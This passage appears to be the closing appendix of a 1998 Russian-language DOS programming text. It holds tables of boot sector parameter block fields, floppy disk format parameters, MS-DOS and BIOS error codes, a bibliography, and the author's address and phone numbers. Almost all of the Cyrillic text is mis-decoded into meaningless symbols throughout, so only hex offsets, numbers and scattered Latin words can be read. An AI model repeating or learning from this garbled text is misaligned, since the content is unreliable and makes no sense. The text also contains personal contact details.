    |         |       |ਯ஢ 䠩, ᮤঠ|
    |         |       | ୥ ⠫ ᪠     |
    |---------|-------|------------------------------|
    |08h      |02     |饥 ⢮ ᥪ஢   |
    |         |       |⥫   ࠧ DOS |
    |_________|_______|______________________________|
    |0Ah      |01     | - ⥫ । -  |
    |         |       |⥫                    |
    |---------|-------|------------------------------|
    |0Bh      |02     |⢮ ᥪ஢,|
    |         |       |  FAT              |
    |_________|_______|______________________________|


    ଠ EBPB

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |02     |⢮ ⮢             |
    |         |       |  ᥪ ᪠         |
    |---------|-------|------------------------------|
    |02h      |01     |⢮ ᥪ஢           |
    |         |       |                |
    |---------|-------|------------------------------|
    |03h      |02     |⢮ १ࢨ஢  |
    |         |       |ᥪ஢                      |
    |---------|-------|------------------------------|
    |05h      |01     |⢮  FAT          |
    |---------|-------|------------------------------|
    |06h      |02     |ᨬ쭮 ⢮ -  |
    |         |       |ਯ஢ 䠩, ᮤঠ|
    |         |       | ୥ ⠫ ᪠     |
    |---------|-------|------------------------------|
    |08h      |02     |饥 ⢮ ᥪ஢   |
    |         |       |⥫   ࠧ DOS |
    |_________|_______|______________________________|
    |0Ah      |01     | - ⥫ । -  |
    |         |       |⥫                    |
    |---------|-------|------------------------------|
    |0Bh      |02     |⢮ ᥪ஢,|
    |         |       |  FAT              |
    |_________|_______|______________________________|
    |0Dh      |02     |⢮ ᥪ஢           |
    |         |       | ஦                    |
    |---------|-------|------------------------------|
    |0Fh      |02     |⢮  ⥫ |
    |---------|-------|------------------------------|
    |11h      |02     |⢮  ᥪ஢   |
    |         |       | ࠧ,  ࠧ|
    |         |       | 32 -          |
    |---------|-------|------------------------------|
    |13h      |02     |⢮  ᥪ஢   |
    |         |       | ࠧ,  ࠧ|
    |         |       |ॢ蠥 32         |
    |         |       |( ᯮ ⮫쪮        |
    |         |       |MS DOS 4.0 )                  |
    |---------|-------|------------------------------|
    |15h      |04     |饥 ⢮ ᥪ஢   |
    |         |       |᪮ ᪥  ࠧ, |
    |         |       |  ࠧ ॢ蠥  |
    |         |       |32                   |
    |_________|_______|______________________________|

    ࠬ ᪥ ࠧ ⨯
    (  ⠡  諨   ᮢᥬ  ᪥-
      ꥬ 320 Kb, 180 Kb, 120 Kb  㣨 ) :

     ________________________________________________
    |   |      |      |      |       |        |
    |᪠     | 3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |
    |----------|------|------|------|-------|--------|
    |   |      |      |      |       |        |
    |᪠, Kb | 2880 | 1440 | 720  | 1200  | 360    |
    |----------|------|------|------|-------|--------|
    |Media     |      |      |      |       |        |
    |Descryptor| F0h  | F0h  | F9h  | F9h   | FDh    |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |஭    | 2    | 2    | 2    | 2     | 2      |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |஦   | 80   | 80   | 80   | 80    | 40     |
    | ஭|      |      |      |       |        |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |ᥪ஢  | 36   | 18   | 9    | 15    | 9      |
    | ஦|      |      |      |       |        |
    |----------|------|------|------|-------|--------|
    |    |      |      |      |       |        |
    |ᥪ   | 512  | 512  | 512  | 512   | 512    |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    |ᥪ஢  | 2    | 1    | 2    | 1     | 2      |
    | |      |      |      |       |        |
    |----------|------|------|------|-------|--------|
    | FAT |      |      |      |       |        |
    | ᥪ| 9    | 9    | 3    | 7     | 2      |
    |----------|------|------|------|-------|--------|
    |⢮|      |      |      |       |        |
    | FAT | 2    | 2    | 2    | 2     | 2      |
    |----------|------|------|------|-------|--------|
    |     |      |      |      |       |        |
    |୥ |      |      |      |       |        |
    |⠫  | 15   | 14   | 7    | 14    | 7      |
    | ᥪ|      |      |      |       |        |
    |__________|______|______|______|_______|________|


                       3

                
                      MS DOS  BIOS

       00h - 訡 
       01h - ࠢ  㭪樨
       02h -   
       03h -   
       04h - 誮   䠩
       05h -  饭
       06h - ࠢ ਯ
       07h - ⮦  ࠢ  ( MCB -
             )
       08h -  墠⠥ 
       09h - ࠢ   
       0Ah - ࠢ쭮 㦥
       0Bh - ࠢ ଠ
       0Ch - ࠢ  㯠
       0Dh - ࠢ 
       0Eh - ⭮ ன⢮
       0Fh - ࠢ ᪮
       10h - ⪠ 㤠 ⥪騩 ⠫
       11h -    ன⢮
       12h -   䠩
       13h -  饭  
       14h - ⭮ ன⢮
       15h - ᪮  ⮢
       16h - ⭠ 
       17h - 訡 ஫쭮 㬬
       19h - 訡 ᪠ ஦
       1Ah -  ⥫
       1Bh -   
       1Ch -  ਭ  㬠
       1Dh - ⪠ 
       1Eh - ⪠ ⥭
       1Fh -  訡
       50h -  㦥 
       52h -   ᮧ ⠫
       54h - 誮  ७ࠢ
       55h -  ७ࠢ
       57h - ࠢ ࠬ

    --------------------------------------------------

         BIOS

       00h - 訡 
       01h - ࠢ쭠 
       02h -   ᭠ ⪠
       03h -  饭  
       04h -   
       05h -  ⪮ ᪠  襫
       06h - ᪥ 
       07h - ࠢ쭠 ⠡ ࠬ஢
             ⪮ ᪠ ( HDPT - Hard Disk Parame-
             ter Table )
       0Ch -   ⨯ ⥫ 
       0Dh - ࠢ쭮 ᫮ ᥪ஢  ଠ  
             ⪮ ᪥
       10h - ⠭ 訡 
       11h - ⠭ 訡    ⪮
             ᪥
       20h - ࠢ ஫
       40h - 訡 樮஢
       80h -  -  ᪠
       AAh - ⪨   ⮢
       BBh - ⭠ 訡 ⪮ ᪠


                        

    1.   .
                 " ⥫   ⥬  㭪
                   MS DOS ", .:, 1993

    2.  .
                 "  ᥬ   IBM PC   -
                   ࠬ஢ ", .:  誮,
                   1991

    3.   .
                 " 襬 ...   ⨢ ! ",
                   .: , 1991

    4. ⪨  .
                 " ᨮ쭮 ணࠬ஢-
                     몥  .ࠢ -
                   ᠬ ", , 襩 誮-
                   , 1992


    5. 䠫  ., ஢  .
                 " ய ",.:⥪ -
                   , 1990


    . ⮬, 18.08.1998
    . 

     訬 ᠬ     -
     ⮩  . ୮ ਬ   -
    砭,   । .

    __________________________________________________
     ,    ,  
       !!!
    --------------------------------------------------

    ࠨ
    . ⮬
    .  न祢᪠, . 83, . 25
      堩
    ⥫. 8 (0412) 343427
         8 (0412) 204218
     : 262002


